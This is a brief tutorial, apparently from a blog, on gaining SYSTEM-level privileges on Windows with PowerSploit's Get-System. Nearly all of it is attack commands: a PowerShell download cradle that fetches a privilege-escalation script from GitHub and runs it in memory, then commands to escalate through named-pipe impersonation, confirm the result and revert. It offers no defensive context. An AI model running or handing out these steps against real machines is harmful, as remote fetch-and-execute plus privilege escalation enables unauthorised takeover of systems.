Getting System With Powersploit
Here I will demonstrate how to get system level privileges with PowerSploits Get-System.
Getting System Level Privileges
First lets load Get-System
into memory.
Iex(New-Object net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSplo
it/master/Privesc/Get-System.ps1')
Next lets get system level privileges using Named Pipes.
Get-System -Technique NamedPipe
Lets check our work.
Get-System -WhoAmI
Finally, lets revert back to the original user.
Get-System -RevToSelf
Now, I don't know about you but thats a lot easier than trying this with Metasploit.